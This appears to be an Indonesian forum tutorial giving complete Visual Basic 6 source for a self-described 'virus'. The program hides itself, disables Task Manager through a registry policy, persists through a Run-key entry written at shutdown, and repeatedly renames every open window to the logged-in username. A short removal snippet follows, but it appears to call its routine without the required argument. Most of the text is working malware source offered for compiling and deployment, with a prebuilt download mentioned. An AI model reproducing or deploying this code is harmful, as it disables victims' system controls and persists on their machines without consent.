ane share tutor ini bukan berarti ngjarin agan" bwat hal yg gx bener..ane cuma mau berbagi ilmuu ajee...
langsung ajah....
buka VB6 agan.... yg gx punya download di sini
Buat project baru (standard exe) dan tambahkan
1. timer
name : Timer1
enable : true
interval : 100
2. module
tulis kode ini di module
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Dim l As Long
Public Function UbahNAma(ByVal Teks As String) ' mengubah semua judul aplikasi
l = GetWindow(GetDesktopWindow(), 5)
Do While l <> 0
SetWindowText l, Teks
l = GetWindow(l, 2)
Loop
End Function
Public Sub MatikanTaskManager(ByVal Status As Boolean)
On Error Resume Next
Dim o As Object
Set o = CreateObject("wscript.shell")
o.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", CInt(Status), "REG_DWORD"
End Sub
Sub HapusRegStartup() 'menghapus registry startup yg di buat
On Error Resume Next
Set obj = CreateObject("WScript.Shell")
obj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\" & App.EXEName
End Sub
Sub BuatRegStartup() 'membuat registry startup
On Error Resume Next
Set obj = CreateObject("WScript.Shell")
obj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe", "REG_SZ"
End Sub
trus Klik 2x pada form ( F7 )
kosongin semua tulisannya trus masukin kode ini
Option Explicit
Dim isiTeks As String
Private Sub Form_Load()
If App.PrevInstance = True Then End 'mencegah aplikasi di jalan kan 2x
App.TaskVisible = False 'tak terlihat di taskmanager hanya terlihat di proccess
Me.Hide 'agar tak terlihat
isiTeks = "My Name Is " & Environ("UserName") 'Environ("UserName") untuk mengambil User name yg sedang aktif
HapusRegStartup 'menghapus reg
MatikanTaskManager True 'true untuk mematikan , false untuk menghidupkan
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If UnloadMode = vbAppWindows Then BuatRegStartup 'membuat reg startup pada saat aplikasi di keluarkan melalui shutdown/restart
End Sub
Private Sub Timer1_Timer()
UbahNAma isiTeks
End Sub
Tulisan yg bewarna hijau boleh agan ganti sesuai selera
selesai deh,,tinggal kompile ke .exe biar standalone (berdirisendiri) dan tempat kan sesuai selera
dan untuk menghapusnya..agan cukup hidupkan kembali taskManagernya :
Buka project (standard exe) tambah kan :
1.module
2.Command Button
name : command1
tulis kode ini di module
Public Sub MatikanTaskManager(ByVal Status As Boolean)
On Error Resume Next
Dim o As Object
Set o = CreateObject("wscript.shell")
o.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", CInt(Status), "REG_DWORD"
End Sub
dobel klik pada command button dan tambahkan kode ini
MatikanTaskManager
msgbox "Taskmanager enable",vbInformation, "Ipoel CreaTion"
end
kompile ke exe
buka taskmanager > processes > cari nama virus yg tadi agan buat > klik kanan 'end process' ( atau tekan tombol delete )
klo masih gx ngrtii... download ajah yg dah jadi DISINI
Bila debug Silakan komen
Follow me on twitter
